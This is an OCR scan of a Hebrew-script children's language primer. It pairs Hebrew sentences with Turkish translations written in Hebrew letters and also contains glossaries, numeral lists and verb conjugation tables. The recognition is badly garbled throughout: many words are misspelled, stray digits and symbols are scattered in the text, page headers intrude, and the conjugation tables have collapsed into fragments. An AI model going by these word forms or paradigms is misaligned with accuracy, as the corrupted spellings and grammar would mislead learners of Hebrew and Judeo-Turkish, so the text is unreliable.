קאנא דונדורדי וא מסרלילר נילדן סויי איצא בילמדילר . בן סניג אבמגיני
יימדים וא סניג סוייגי איצמרים . פוקראלרא מרחמת. איד וא אנלרי
אכּמנָא דויור . סדום ניג אדמלרי בגאית פנא וא יראמז אידילר , אנלר
אוזרינא. אלה נוכדן אמש יאנדירדי וא אנלרי גוו אלטינדן גאייב
איטדי, אוגלום ! עלְמִי קָב וא אגא רגבת איילא, זירא אגר סן אגא רגת
אידר אס או דא סגא רגבת אידר . אי גיבבארלר ! אלכה סיזא ג'נכ
גונונדא מרחמת אידא וא סיזי דושמאניגיזיג אלינא דושורמאיא ! פאדשהיג
בש ג'ב נבארלריניג אראסינדא אָג ביוּ קרדשים דיר . מליפה ניג קירק
אגאלריניג אראסינדא אָג עקללי אקאם דיר ! בּנים קרדשים דא קירקניג
אראסינדא דיר .
6 6
הֶלךּ הלד | מטלאקא וארדי . סאהיה ואררי
אָכל -. , מוטלאקא יידי , סאחיח יידי ,
שמ ע שמ מוטלאקא אשיטדי , אייג'א אשוטרי .
מלף - מוטלאקא פאדשאה אולור .
נלחם -- | מוטלאקא ג':כלשרי , אייג'א ג':כלשרי .
נְכְסף נָכַמַף , 35 מוסאנדי, פּכ איסטרי .
הכתב יִכָּתָב , מטלאקא יאזיליר .
השָמַר תשמָר, אייג'א סאַקט אולמאלי סין .
אבר | תְּאַבָּד , מוטלאקא נאייב אידפלי סין.
הַמְטַר אמטיר , מוטלאקא יאמור יאנדירג'ק אים .
קרגל הילדים 3
קיולרים | נא איצון סיז בו אויאדאכי גוגורצינלרא דוקאנדיגיז קיזקר-
רשלרים! סיול פרמאקלר% גיז: מס ראמלייר.. סניג <קְבהי פרמאקלריג
מיסב דאמלרלר . רבקה !. סן בּבאמיג צולונרא בּאג יאכוד זייתונליּ דיכר
מי סין + ביזים אוזרימיזא גלן ג'ומלא דושמאנלר וא אנלריג אַג ג'בּכּארלרי
בו קלעה ני דושורמאיא נִהפִיל) קאדיר אולטאדילר.. כניג צאדיריג יילדן
ניילוג אוגונדן) אבטאריליר (נפל).. אללה אלגישלאיא בּיזי וא יזא ברכתקי
יאנמורקר יאגדירא. בני. ישראל קירק סגה יבאנדא גזרילר וא אללה
אנלרא קירק סנה גוכרן אמכ - ביזים: צוללרימיז קורודילר
זירא:אילב עאיי3: און סכיזינג'י גונונדן דורדונג'י עאייג ייגירמי בשינג'י
גונונא קדר יאגמורלנמדילר,. אוגלום! יאקלאש וא שראפיזא אוזרינרן
גנדיגא חר דורלו יימישדן אל. קיזים ! יאקלאש וא אלימדן בו אלטין
כופאלרי אל. שרה : נא איצון יאקלשמייר סין וא אלימדן בו אכי אלטין
פילויּלרי אלמאיא איטסמייר סון ! אגר אללהא ביר איניית איניית. אידר
איסגיז אני מז אוראיאסיז (אני אוראמאיא מזלאייָא סיגיז . בו כישי כיס
אולדוגי סיזא אלראטילדי מי (סיזא אגלאטילדימי , בו כישי כים דיר) +
אוואלדן.כגען טופראגינדא אוטוראן מיללתלר מ פנא וא זאלים
מיללתלר. אידי, אניג איצין אללה אנלרי. בני ישראליג או.ונדן סורגון
איטדי וא אנלרי גאייבּ איטדי. בן ביר פוקרא אוכסוז אים . סניג אנאג
בני גנדי אוגלו גִיבּי ביוטרי; אניג איצין בן סני. קררשים גיבּי סָברים .
סיז-נא. איצון ביזי כּופר איטריגיז וא: ריסויי איטריגיז+ בּיז. איסא סיזי
אלגישלאריק . בּבאם בוגון איי בוזאב אָטי גטירדי; אנאם אני פישיררי
קיזים: דון קיזקרדשיג צולרן גטירריגי סאגיטלר נררא דיר+ סן אגלרי נא
איצון פּאכּקמאדינ'? קיזקרדשים ! דון בבאם. סאטון אלדיגי ביוכ צומלב
נרדא דיר + סן אני קירדיג מי + נא איצון אני מז קירדיג (קירמאיא מלדיג א
1 בנים רובאלרים פב כירלי דיר, סן אנלרי יאייקר מי סין ?
בן אנלרי 6% בילמם זירא בן בוגון חסטא אים. בּן פני סִיילאיאנלרי
.. אים וא בני כופר אידנלרי כּופר אידמם . אוגלום ! סן בו חכם ני
סָב וא אגא רגבת איילא זירא או סגא אללהיג' כלאמלריני 0 מרכ ארב
יוללריני אוגרטדי . ישראל ! סניל גיבי אלנישלי מיללת כים דיר + אללה
סני עזיז אימדי וא גוכּוג אלטינראכי גיומלא מיללתלרדן. סני גנדינא
מיללת איירדי .
אחי + האלהים יִבַרָכְכם וִירְחָמִכֶם . אס תשכחו את העניים גם האלהים
ישכח אתכם ולא יחפץ לְְחָמְכֶם . האלהים מרתמף מְרְתִמָּ) . האלהים
(חלק ראשון) 25
12 לרגל הילדים
חזנאסינא איניית איטדים . אסתר מיללתיני אג לאטמאדי . או פאדשאה
אַחַשורש ני3 כאטונלר חנאסינדא בִּית הַנָשִים) אולאן אוץ יוז ייטמיש
קרילריג אנ דילברי דיר . פארשאהי גאון אכי יגיבבארלריניע אג ביוני בנים
קררשים דיר . | סניג קרדשיג דא און אכי ניג סאייסינדא מי ? מליבהמיזיג
סכּיז אגאלרי ני אראסינדא אג עקללי בּנים אוגלום דיר . פניג' אוגלוג
או סכיזיג דרג'א סינא (או סכיזא קדר) דחי גלמדי. ביוים מליכהמיזיג
פאדשאה אולדונוניג אונונג'י סנהסי אלטינגיי עאיידא עאייג אונונדא
קיזים אני דושמאנלריניג אלינדן חלאס איילדי . אנאמיג עומרוניג ייטמיש
בשוי סנהסינדא בּבּאם אפאנסיז סכסן יאשינדא אולדו. איפטידא כּי
(אילב)ַעאיידא עאייג און בשינדן ייגירמי בירינא קדר כומץ לר יידיב. יידינג'י
עאיידא עאיינ און בשינדן ייגירמי אביסינא קדר צאדירלרדא אוטורדיק .
לא תִכִּירוּ פּנים בַּמשָפּט כִּי המֶשָפֶט לְאלהִים הוא . בור לא ינְצָל ברב
כח. איש מַצָרִי הצינ מִיָד הָרעִים . לא אֶַח מִיר כַּסָ או ָָב ִּ אַנָשִים
אַחִים אִנְחְנוּ. נפת תמפגה שָפָתִי תתלרִים הַלְמְדִים דָבִָי 7 - הַשָמַים
ל עברה בי אנ ולא רגו עור קמ בחך ש השמעו בּעשור רלתדש
נלקח. אָרון הָאֶלהִים. משָה נבִיא הָאֶלהִים הָיָה ערל שְפָתִים ויהוָה. שלחו
לְָצל. את עמו מִיָר המצרים וּמעבוְרְתֶם הקשה וְהַבּבְרָה. הָאֶלהִים הפ
את מִימי הַיאור לַרֶם . . הַמַצָרִים = מִַימִיהֶם נָהָפכו לְדֶם . שאָו מִיהוָה
מַמָר . אֶלְהי; אַתָּה הַצַלְתּנִי בּכֶל עַת מִכָּל צָרָה גם היוס הַצִילְנִי מַצָרָתי
הַנָרולֶה הזאת . זה שַתִים עִשָרָה שָנָה לא רְאִיתִי אֶת דון די ועל כַּן לא
הָבּרְתּיו . אַחוּתִי ! קחי אֶת הָאָגווים וְאֶת הֶרְמּנִים מַעַל הַשְלְהן ְכִּילַדְתַם.
אֶחִי: לְמָּה תנע בּקן צפוּר זֶה (צָפור . קוש)? - בָּנִי! אֶל ו תּגְעוּ בְעופות
אֶשֶר בְּקְנִיהָם. אַל תִּבִּיטוּ אָר מַרְאֶה ַתלְמרִים. הָאֶלָה וְאָר קומַתַם כִּי
סְבָלִים הַם מָאר . אס יש בָּכֶם עשרים אְהָבִי אָמָת ושפטי מִשָפט צָרָק
לא נִּפְכֶם יְהוָה לפָּנִי אוְבִיבֶם בַּעָבוּר הָעשָרִים .
אללתים : כני ואז גצמא (נטש) וא בּני אונוגדן בוראקמא נהָשליך) :
סן אללהיגי בוראקיר איסְג אללה דא סני בוראקיר וא סני דירליב. יירינדן
סורגין אידר. קיזים + בגא מועללימיגרן אשיטדיגיג סוזלרי ₪
> +
לרגל הילרים 11
הָאֶלֶה בָּנות איש אקרהן . עָשָרָה תִברָמִים אֶשך נטע אבי נמכרו בְּחְמָשַת
אלפים וחמש מאות שַקל כ ארְבעה ועשרים הַפְּפָרִים הָאֶלָה הֶם סְפרִי
הַקרש אֶשָר כָּתְבו נביאי יְהיָה. משמים הביט יְהוָה רְאָה אֶת כָּל בּני
הָאָרֶם . שְמַע בָּנִי מוסר אָבִיך וְאל תפש תורת אַמֶךָ. הַבִיטוּ מָה עָשָה
הוה לָנו כִּי נְָף בָּנוּ מנַפָּה גְדוּלָה. הוא שָלַח בָּנוּ אֶת כִַפַתָיו בִּי לא
הָלַכנוּ בי ביואל תִגְּעוּ בעץ הזה . מהי תהץ אֶת בִּיתך אָשָר בָּעִיר
הזאת + הַפַּרָה הזאת לא תִנָּחַּ אָם לא תִנּע בָּ. אִיך תְִָלִי מִכַף אויביך
ְהֶם עזי נפש+ הַבִּיטוּ אֶל אבְרָהֶם אִבִיכם | טוב לטעת בְּרָמִים מִנָן
ּגִים. יְהוָה ! אל תַפִיְניר בְיְ אויבִָי. בי אָדֶם אל אפַּל. רְעו וקצרו ונְמָעו
ְּרָמִים ואלו ּרְיָם . ויטש דָּור אֶת הַבְּלִים מִעְלִיו . תזלנה עִינִי דִמָעֶהכָּל
הַיום כל הלילה .. זל כּטל אַמַרְתִי. השמים י ילו טל וּמָטַר . בּטַחַ 0
הוא יפל . האיש הזה אַבְוֶר מָאר , הוּא הְכָּה אֶת עברו הפיל את שנִיו
אחי : התמכר לי את שני בַָּיך באלפים כסף + רבקה \ התמברי לי
את עשרת כרמיך בעשרת אלפים שקלים + חמשה הספרים האלה הם ספרי
שירים . גם שירי אחי בחמשה הספרים האלה . ארבעת בני היו בשלשים
וחמשה הגבורים אשר הצילו את מלכנו מיד אויביו ביום מלחמה .
בניף ארבעה ובנותיף שלש . ארבעה הם בניף ושלש הן בנותיךף. שלש
בנותיף ארגו לדודיהן מעיל יקר מאד. בחדש השלישי באחד ועשרים
יום לחרש בא אבי מארץ מצרים אשר ישב שם שנתים. בששה עשר
יום לחדש השני מת אחי ' הנדול פתאם . בשנה חששית למלכנו בחדש
התשיעי בששה עשר לחרש נִגּפוּ אויבינו לפנינו במלחמה . בחרש
הרביעי בארבעה לחדש הציל יהוה את מלכנו מכף הרשע אשר חפץ
להרגו, וּבַפּעָם השנית הַצִילו יהוה מכף אויבו בחדש החמישי בחמשה
ועשרים יום לחדש . שני הימים האלה נהפכו לנו לימי ששון ושמחה .
בשנה הרביעית בחדש השני לְמַלך שלמה על ישראל בנה שלמה את
בית יהוה. בתך היא הראשונה בנערות הלמדות בבית אחותי. הנערה
הזאת היא התשיעית בבנות דודי . התלמיד העשירי בביתי בנף הוא ,
והתלמיד השנים עשר הוא בן העני אשר מת פתאם.
אנאמיג אבינדא דיכמאיא וא טוקומאיא אוגרנן און בש קיז ואר.
בו און בש קיו פכ פוקרא כישילריג קיזלרי דיר. בן סנדן אבים איצון
אלדינים אכי ביג בש יוז אלטמיש מיסקאל גומושי אללהיל אביניג
100 קרגל הילדים
בִּימִי צרקיהוּ מלך יהודה בּשָנָה הַפשִיעית
לְמֶלְכוּ בש הָעשרִי בְּעשור
לַחדָש בָּא נְכוּכִִנְאצר מָלְךְּ בָּכָל
ע ל ירושלֶם ,
לא וטש
הנול .
אֶחִי ! דמש וחב מחת לשו ונַפֶת
הּטַפְנָה שָפַתוּתִף .
עור משעו כְּרְמִים בְּהְרִי שמָרון .
אם לא תשמרו אֶת מַצות יְהוָה ותרומיו
מננפו לפָּנִי אַבִיכֶם
יצל את שיר אי
יוה ! מִי כָמוף מַצִיל עָנִי סוק מַמָו
וני וְאָבִיון מגולו .
נַדָרוּ וְשַלְמוּ ליהוה אֶלְתִיכֶם .
שלח יִרף וְַע בַּמַטָה אָשָר בַּיָדִי.
הַאַנְשִים האלה ִבִיאִ יִהוָה הַם לא נוּכָל
לגע בָּס .
בר יהוָה שְמְרֶף .
יְהוְהוהצִילְני מַכּף כָּל אוְבִי .
אל ִפִילְנִי בְכַף רְשָעִים .
אל פשליפני לפנ ורום ,קרשף. אל
תק מִמָנִי .
חמשים ה
יְהוָהּ אֶת עמו בַּעבוּר שמו
יהודה פארשאהי צרקיהו ניג גונלרינרא
אניג פארשאה אולדוניניג דוקוזוננ'י
סנה סי אונוננ'י עאיי דא עאין
אונונרא בכל פארשאהי נכוכדנאצר
ירושלם אוזרינא גלרי .
רבּכי מיללתיני בּיוכ אדיניג חטרי איצן
בוראקמו .
קררשים ! ריליג אלטינדא באל וא סוט
ואר וא סניג ארינלריג שכּר ראמלאר.
דחי שמרון ראנלרינדא. בּאגלר. דיר
סיניו .
אנר אללהינ סימארלריני וא תורהלריני
סאקלמז | איסניו | דושמאנלריניזין
אונונדא קיריליר סיניו .
רבּבי סן בּנים ג'אנימי | הושמאנלרימינ
אלינרן קורטאררין .
רבכו ! פקירי אנדן נוצלידן וא פקירי וא
מיספיני אני זולומלא יאנדן קורטאריג'י
סניג גיבּי ּים דיר ? .
רבכי אללהיגיזא אוניית אידיניו וא אורניו.
אליני אוזאט וא אלימרכי טאואק נא רוקון .
בו אדמלר אללהינ פינמבּרלרי דיר וא
בּיו אנלרא רוקאנא בילמז איו .
אללה אלנישלאיא סני יא סאקלאיא כני .
יא רבבי + בני = ג'ומלא רושמאנלרימינ
אבוצינדן (אלינדן) חלאס איילא .
בני יראמזלריז אבוצינא (אלינא) רושורמא.
בני אונונדן בוראקמא וא בנרן עזיו רוחיני
אלמא .
הגשיאִים אֶשֶר יְצְאו עם מַלְבָּנוּ למַלְחְמהנְנְפו לְפָנִי אויבִיהָס .
שלשת בנ היו בה וְם הָם לא הַצִילוּ את נָפַשָם. אַרְבַּע עַשְרָה הַנָערות
לרגל
דורי וּשָתִּי בְנוּתו וּשְלַשָת בָּנִיו הַלְכו אֶל
הגן שר לָהֶם בְּבָרן.
מַכָּל ִּלְכִידִיף .
הַפְּלְמִיר הזה חִכֶם וער הְאִֶבעָה לא בָּא.
נם אֶחִי בּעשרִים הַנָּּרִים אָשָר הַצִילוּ ,
את מַלְבְּנוּ מיר אובָיו .
לרורָי שני בָנִים שם הַאֶחֶד שָלמה ושם
השָנִי שמוּאָל .
לי שָפִי אִחָיוּה , שם הְאֶחת שרָה וָשַם
השנית רבקה .
הַחרָש הוה לָכֶס ראש חָרְשִים , ראשון
הוא לָכֶם לְחָרְשִי הנה .
חג הַמָצוּת -- הוּא מַחְמָשָה עָשָר יוס
לַחדָש הֶרָאשון עד יום הְאֶחָד
י וְעָשרִים בּו..
חג הַפָּכות -- הוא בַּחמִשָה עשַר לחרש
השביעי .
בְּשָנָה הרביעית לַמָלֶ ויהו היא הַשנֶה
השָבִיעִית להושע ב אֶלָה מָלְךְ
ישְרְאל יִצָא שלמִנְאֶסֶר מלף אשור
על שמְרון למַלְמְמָה .
בְּאַחַת וְשַש מָאות שָנָה לְחַיִי נח כָּרַאשן
בְָּחֶר לחדֶש הִרְבוּ. מִי. המבל
על הָאָרֶץ .
הילרים 100
אקאם וא אנין אכי קיזי וא אוץ אונלו
ננדילריניג חברון דאכי בחצאלרינא
ניטדילר .
ּנים אבימרכי דורט תלמיר סנינ ג'ומלא
תלמירלריגרן עקללי ריר .
בו פלמיר חכם דיר אממא רורט גא קדר
(דורט ניג דרג'אסינא) גלמרי .
ּנום קררשים דא פארשאחימיוי רושמא-
לרינון אלינדן | קורטארן = יינורמי
נ'בבארלרינ סאייסונדא דיר .
אקאמיג אפי אונלו ואר , בירינינ אדי
שלמה , אכונג'יסינין אדי שמואל
דיר .
בנים אכּי קיזקררשים ואר , כירינינ אדי
שרה אכיננ'יסיניג ארי רמקה דיר .
כו עאיי סיוא | עאיילרינ בּאשי דיר , או
פיזא סנהיינ עאיילרינינ אב5לכּיסי
דיר .
מצה לר כּאייראמי -- או א55לכּי עאיונ
און בשינג'י גונונרן אנדאכי יינורמי
ירא קדר דיר .
סַכָּה באויראמי ווריננ'י עאיי! און 3שינרא
הל..
פּארשאח חוקיהו נינ דוררוננ'י סנה סי
כּי או ישראל פארשאהי חחשע בן
אלה נינ יורוננ'י סנה סי דיר , אשור
פארשאהי שלמנאסר שומרון אוזרינא
נ'נ3 איצון (נ'נכּ אידמיוא) ציקרי .
נח נינ עומרוני אלטי יוז כּיריננ'י סנח סי
בורונני (עאיי) רא עאייג בירינרא
יור אוזרינרן טופאנינ סויילריקורורילר *
8
נְטש (ע*' יטש, ציוי נְטש)
בוראקדי טאשלרי ,
ואז נצרי .
ינע + גַּע, מקור נָ
גג , געת) בְּפָּ',
דנדי , דוקונדי .
ְנְח (יָנָח) סוזרי .
ול (עֶל) אַקדי .
ו לטו עת) דובדי
] ₪
(דירכ , בהצא),
< .
נְטף (וטף) אקדי, דאמדי,
הטוף , אגיזדי ,
דאמלאטרי ,
נְגף , (יַגַף) קירדי , קוראן
אש י -
איטרי , נָנף ,
קירילדי .
ל (נפעל משרש נצל)
הלאס אולרו,
קורטולדו , חֶצִיל ,
קורטאררי , הלאס
איטדי .
₪ קח + ץיקה , אקת ,
נלקה : אלינ גרג .
לרגל הילדים
נִפַל (ָפל , נָפל, לָנְפל)
דושטי , יינולדי
הפיל , דושוררי .
הביט (ש' נבט) באקרי .
נזאר איטדי %
הכור
2
ש' נכר) טאנידי *
טר (ש' מטר) יאגמורד
לנדי, יאגמור דן
אִיסָלְנָרי . - נמָלְנדי,
הַמֶסִיר , יאכמור
יאנדירדי ,
השָלִיך (ש' שלף)
בוראקרי .
אבְיון , 2)ז, פקיר :
מיסכין +.
צוף , (1) ז+. סולאק .
דש , דבָש (דִבְשַ0 1
באל.
נפֶת , ז', דאטלי נסנא דן
אקאן באל, שכר .
מר , (מורי) , ד מסְבי
מיררא , (דירכדן
דאמלאיאן איי
ריחאנלי נִמָנָא)
שָמִים (ס' שָמִי , שָמִיף,
שְמִיכֶם) גוכלר ,
גוכ ,
|
גָשָם, (ץ ב') 1', יאנמור. = |
מַטַר , (יחיד 1% א', רביי
מְִטָרוּת 211 ב')
יאנמור .
רוח , יווד 1 רוי ,
רוּחף , רבים
רוחות , זז4)
ז'ת', ייל, לוזנר,
רו, אלאם.
מַצָה (2411) נ', פומץ,
מִמָה ,
סְבָּה , (₪א) נ', צלאש ,
צאדיר,
פה (₪א מַנָפַת ,
מנַפוּתי ,) נ',
קיראן , אולט.
שָפָה (יה' ץצ רי שפתות [
שפָתות זא ב') נ',
אֶרין, יאגא, בָּנָאר.
עָרֶל , אודמופ, סנִתְסיו ,
ערל שִפִָּיֶם ,
אורטופ ארינלי,
בַּלְטֶבּ.
בְּעבוּר, (בָעבוּרִי, בַּעְבוּרְףּ)
איצון , בַעַבוּר יצתק,
יצהק איצון יצחק נינ
חטרי איצון ,
עשור או[ , בעשור לַחרָש
עאייל אונונדי =
צווי קח , מק לְקת, קחת , לקתת . אלרי . נפעל ,
לרגל הילדום
|
ח סרי ה פ" א נו
| הפעיל | הפ שה ₪
ננר
הניך , אגלאטדי . הגד ,| אגלאטילרדי .
| לזכר | לנקבה | לזכר | לנקב
|
הַגִיד הַגִידָה הֶגָד הֶגְּדָה
, |הְגַרְתָ הַגַרְת הָגְַת הַגְרָה
,\ | הִגַדְתי הַנַדְתִּי הִגַּדְתִּי הגְדַתִּי
הַנִידו הנידו הגדו הְגְדוּ
+\
הְגַּדְתָם הַגַּרְתָן הַגַדַתָּם הגדְתן
הַגַּדנו הַגְדְנוּ ַנַדנו הַגַרָנו
יד תַגִיד ינר תד
| |תָגִיד תַגִידִי תד תַגָדִי
- | אַגִיד אַגִיד אֶגָד אַגר
3 [יַגידו דנה יגְדו הנה
תגִידו תַגְדְנָה תֶגּדוּ תִנַדנָה
יד גיד א ְַר
שרי |תק
גידו הגדנה
> | 27
> | מנִיד מַנִירָה ינָלָת | מִגַד מגְדֶה גְרָתו
> | מַגִידִים מגירות מַנָדִים מִגָדות
,ו 1
| נפיד הַגר הַגר 69
ש | נסמן | הַגִּיד. בְּהַגִּיד |
0 1
ו ח/:/:/:/:]:]/]/----.-.:55- ירי
|
16 לרגל הילרים
חסרי הפ" א נוין
1ר
א
צו
\.
==
קל קל
נדר נגש נגף
נדַך , איניית איטדי . | |נְרָש יאקלאשרי () ג , קירלרי .
ל .-
לזכר = | לנקבה | לזכר לנקבה | לזכר לנקבה
נַרְתּי | נָרַרְתִי
ָדָ = |נָרָו
ְַרְתם | נְַרְן
רו = |נְדְַגו
נן
דר = |ְדְרָה
- | נְְַתּ | נרַרְת
4
שור פו.
עו" ]
. : . . ..* . ." .%.
ו יע לי ל עו ל |, (כ' 007 > |4 שר וה. ...
6 |
"2 7ל).
*נ\ן אן
ו
7%
4
זו
0%
=
1
טּ
ו עט |תש |עף |
ו ו הגש |מִנָשי |תִלף | |מִנָנְפִי
- | אָדר | | אָדר אנש |מְש |אָנְָף | | אָננף
כ | ידה תִּרְנָה | | ָּש | |תִנָּשנָה |יְגְפוּ | | תִנְגְפַנָה
ב | דרו | |תִּרְנָה | |ְִּשוּ | תִנַשָנָה | תִנְְפוּ | תִנָנְפנָה
דר |נדר עש |עש .|גש |
ל ו 7 נש לש בשי | = הפ
- | גחו = | נלהנה שר (גּשָה |תְגפוּ | ְַנְפנָה
% : : ,
|
דר נוּדְרָה ִדְרֶת) גת ִגָפָה גפ
ץ | נדרים | | נוררות ִָפִים | |נגָּפוּת
<
2 וה . ייר% ר5ן
ש.י גר 2 >
| ב גּשַת. בנשת, לַנַד | | הִננ%
: == - 1 : - ןפי
;ו 0
.0
לרגל. הילדים 5
אַחר עשר או עשָתִי עִשָרֶה, אחת עשר א עשָתִי עַשָרַח, אין בירנג'י. =
שָנִים עְשָר, שתִּים עָשָרָה, און אכינג'י. - שלשה עשַר, שלש עָשָרָה
און אוצונג'י , עשרים . ייגירמינג'י , שלשים וּשֶלשָה + אופוז אוצונג'י וכו' .
ָּבָּד : בַבְַּנִי ; כּבָּרְךְ , כַּבְּרך : כַּגְדְכֶס , כִּבְּכֶן = - כְּכְרָה : כִבְּרַתְנ,
כָבְּרַתְף , בַּבְּרֶתָך. - כַּכַּרְתָ: כְבְרְהָּנִי, ְּבֶַ תו כִּבּרְתָם. = כְבַרְתּ :
ַָּרְנִי , כַּבְְנוּ או כּבַרְתנוּ - כברתי : כבהתיו , כבתית. - כבהו
ְּבְרנִי, כְּבְדוף. כְּבְדוּהוּ. -- כּבַּרְתֶם . כּבְּרן: כָבַרְתוּני, כְברְתוּתו-
ִּבְרְנוּ : כָּבַּרְנוך . כַּבְּדנוּבֶם + -
ןי ִַבָדִי: ְבְבְּדיי, ִבְַדיו. - תבו . תְכְְּרְנָה יכבדו: =
בַּדוּנִי: -- בּדוּך : בְּדוך וכ .
בר ו שרי רגי - אק - בק - פכלטן -
כַבָּר : כַּבְּרנִי , כַבְרָנוּ או כַּבְּדְָהוּ. - כַּבּרִי: כַּבְּרִינוּ, כַּבְּרית . - בְַּדוּ ,
ַּבְְּנָה : כַּבְּדונִּי, כַבְּדוּהוּ - כַבָּד, בַּכָבָּר : - בְּרִי: בַּרךָ, - בַּרָךָ: =
-ברו, -ברה; - בְּרְכם, - ברקן יכל .
הפקיר . הפקירף . הפקילף + הִפְקִיָנוּ . הַפְּקִירְכָם גר .
קיד , ַפְקירנִי :קירה * פקְף < יפְקידף . ִפּקִרְכָם וכל .
* מיָם , סיילר. סוי. | קר - ממ או מִי; ממ מִימָיךף, מימיך ; מימיו,
מִימִיהָ, מִימִינוּ, מִימִיכם , מימיכן ; מִימֶם או מִיִמִיהֶם, מימן או
מִימִיהֶן .
(חלק ראשון) .4
3
4
לרגל הילדים
מִי רְאָה אֶת ארבעה הנ שיאים ההם ? או דורט אנאלרי כִּים
גורדן +
בְּחָדֶר הזה חִמָשיםהִּלְמִירִים , בו אודאדא אללי הלפיר ואר .
בנ מו חָמָשים הַתִלְמִידִים האלה + בו | אללי תלמיר כימת
אוולדלרי דיר ?
שו בים השניס מן הָאֶחַד , אכי בירדן וארי
הוא לא בָּא עד הַ השלשה או אוץ גא קדר % . (או בּללי אוץ
אדמיג דרג'א סינא גלמדי) .
אחִי היה בַּעשָרִים , קררשים יצירמי ניג" ובּללי יינירמי אדמינ)
2 אראסינדא אידי .
בי מן השלשים , בּבּאג אוטוז ד דיר . (אוטוזלר. דן, בּללי
, אוטוז אדם דן דיר) .
שנִים בי או שנִם הֶם בֶּף; סניג אתלנלריג אכּי ריר .
שני בּנִיךָ חְכָמִים מאד . סניג נכּי אונלוג פב עקללי 1
שֶתיֶם פֶּרוּתִיף א\ שָתִים הן פֶרוחִיף , סניג אינכלרי אכי. דיר *
שָתִּי פרותיך שמנות, סניג אי אינגיג פכ סמיז דיר + = ,
שלשֶה עבְריף או שלשה הם עַבָרִיף , סניג קוללריג אוץ .דיר.
שלשת גְּבורִיךָ נָהרגו ּמּלְחָמָה סבול אוץג'יבּבאריג נינכ דא
- .
זכר רְָאשון נקבת) | ראשו ה אְִּבָלְכִי
שני שנית אבינניי
/- -
רְבִיעי ְבְיעִית = וידוניי
חמשי חִמִישית | בשנניי
4 שי ששית אלטינג ./ף
שְבָיעי שְבִיעִית = ירנגי
שמיני שמ ית סכיוינג'י
תשיעי תשִיעִית דוקוזונג .וף
עשירי עשירית אונונג'י
לרגל הילדים 133
ועשרים גְרָה השקל . החרש החכם הוה עשה לי צמירי זהב ומשקלם
שלשה ועשרים שקל ושתים עשרה גְרָה . העבר הזה מכר את אתונו
הטובה בשלשים וחמשה שקל כסף . בת שלשים וארבע שנה מָלְכָה אָם
מלכנו על ארצנו. בנות חמש עשרה שנה היו בתי ובתך בַּתִפָּרֶם לנו
מעילי משי וּבְאְֶנְן להן רדידים יקרים . היוס ראיתי על העץ שנים גשרים
גדולים . העופות ההם היו גדולי כנפים מאד . כנפי הנשרים האלה
קצרות מכנפי הנשרים אשר בגן המלך . למלכנו שש מאות אלף ושלשים
אלף וחמשת אלפים שבע מאות וחמשה וארבעים "סוסים. מספר
הַפִּקְדִים אשר פקד משה היה שש מאות אלף ושלשת אלפים וחמש
מאות וחמשים . אלה פֶּקוּדִי בני ישראל שש מאות אלף ואלף שבע
מאות ושלשים.. עָבִי העמודים האלה שבע אמות באמת איש . אזור
צמר יקר מאזור פשתים .
ביז און יידי יאשינדא איז . בנים און אכי פרמאגים ואר. כּנים
אללרימיג פרמאקלרי און דיר וא איאקלרימיג פרמאקלרי און דיר . ג'ומלא
פרמאקלרים ייגירמי דיר . או אגא ניג אללריניג פרמאקלרי און בּיר אידי .
בו זנגין ניג אללי ְוְוְאסי ואר . בו פוקרא בו אוסכולו קושאגי ביר שקל
גומושא סאטדי . בּבאם יאפדיגי אביג אוזונליגי בש יוז ארשין כּגליגי אוץ
יוז אללי ארשין וא אוכסכליגי אלטמיש אכי ארשין אידי. בו אנאייל
אבינדא כּי מרמר דירכלריג אַ3 ביוגי וא אָאופסגי דושרי אניג קאלינליני
אינסאן ארשינִי אילן סכיז ארשין אידי. בן אבִּימי און סכיז ביג יוז סכסן
בש מיסקאלא סאטדים . סן בגא בחצאגל ייגירמי בש בינ אבי יוו אללי
מיסקאלא סאטר מי סין+ בבאם בו פוקרא קרייא אניג בחצאסי איצון
און אכי ביג מיסקאל וירדי דא (או) סאטמאדי יקבה לונדון רא אבי
מיללייון (אכי ביג כּררת בי כּישי ואר . ביזים פאדשאהימיזל
ג'בבּארלריניג סאייפי ביר מיללייון אכּי יוזאללי אלטי ביג יידי יוז אללי
אידי . ביזים טופראנימיזיג אוטורוגיילריניג סאייסי ייטמיש מילילייון
אלטי יוז סכּסן ביג דוקוז יוז ייגירמי סכיז דיר .
35
היום רְאיתִי שלשה נָבּוּרִים , 3ּן בונון אוץ ג'בבאר גוררים ,
הראית את שלשה הנְּבּוְרִים ? אוץ ג'בבּארי גורדוג מי ?
ארבעה נשיאים כַּאוּ לעירנו , שהריטיזא דורט אגא גלדי
2 לרגל הילרים
בנים כּיציכ קרדשים דחי אללרי וא איאקלרי אוזרינא גזייר . בּנים
יציב קיוקו רדשים ביר יאשינדא דיר , או דחי אללרי וא איאקלרי אוזרינא
גזייר. סניג קיזקררשיג בנים אנאמיג דיזלרי אוזרינדא אוטורוייר . בּנים
צילאצא פרמאגים סיזיג בללריגיזדן קאלין דיר.. בו סיגיריג בויינוזלרי
סיזיג סיגיריגיזיג ו דילבר דיר. קיוקרדשים ! אללה סגא אכי
קולאק ביר אגיז אצדי . אניג איצון צוק דיגלא וא אז פוולא. סס קרדשימיג
ססי דיר אממא אללר אקאמיג אללרי דיר . אלימיג באש פרמאגי סניג
איאגיגיג באש פרמאגינדן קאלינדיר . איאקלריג באש פרמאקלרי אללריג
באש 8 קאלין דיר . אנאם בוגון יידי כררת יוזו אוזרינא דושדי
וא טוגל קלב איל [ אללהא תפלה איטדי . אניג אבוצלרי יאיילמיש וא
גוזיאשלרי יאנכ קלרי ניג אוזרינדא אידי . סניג ארינלריני3 ג'וואבלרי באל דן
דאטלי דיר . בּיוים ג'בּבּארלרימיוגוכי? קראגושלרינדן ייל דיר . דון
ביזים שהרימיזא. גלן אגאלר ג'ובא גיימיש אידילר וא בְּלֶלרינדא איפּ
קושאק ואר אידי .| בנים גוגורצינימיג | קנאדלרי פני | גוגורציניניג
קנאדלרינדן דילבר דיר . אניג קנאדלרי . | קנאדלר גיבי דיר .
פאדשאהלריג. קלבי אַללהיג: אלינדא דיר. בו פוקרא כישי ניג
בְּלינדאכי קושאק אוסכולו קושאק 6 דיז אוזרינא צוכּמייא, וא
אבוצלרי יאיימאוא וא אללהא תפלה אירמייא וקת דיר . בו אנאניג אק
ביר אוגלו וא און ביר קיזי ואר אידי . בו מראפיזא אוזרינדא און אכּי
אלמא וא און אבי נאר ואר אידי. בּן און בש יאשינדא אים וא בּנדן בּיוכ
קיזקרדשים און יידי יאשינדא דיר . סן און סכיו יאשינדא סין וא סנדן
כיציב קיזקררשיג און אלמי יאשינדא דיר. יצחק ושמואל בגאית איי
